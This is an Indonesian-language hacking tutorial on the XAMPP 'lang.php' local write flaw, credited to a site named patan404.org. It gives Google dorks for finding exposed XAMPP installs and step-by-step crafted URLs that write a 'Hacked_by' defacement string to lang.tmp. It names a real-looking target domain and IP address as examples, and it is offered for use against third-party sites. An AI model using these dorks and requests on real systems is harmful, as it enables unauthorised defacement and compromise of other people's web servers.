XAMPP Local Write Access Vulnerability

Dorks:
allinurl:/xampp/index.php
inurl:/xampp/index.php intitle:XAMPP version 1.7
(ganti version 1.7 dengan version yang lain)

Steps:
1. Copy dan pastekan dork diatas pada kolom search engine Google.
2. Cari salah satu target, dan ganti urlnya seperti ini:

https://www.ead.ftc.br/xampp/index.php
menjadi:
https://www.ead.ftc.br/xampp/lang.php?Hacked_by_Patan404

3. Maka akan terlihat error, sebenarnya itu tidak error.
4. Coba kalian check dengan mengganti url-nya jadi:

https://www.ead.ftc.br/xampp/lang.tmp

5. Maka akan terlihat seperti ini:

Hasil:
https://150.187.142.186/xampp/lang.tmp

NB: Ganti tulisan Hacked_by_Patan404 dengan kata-kata lain

Sumber:www.patan404.org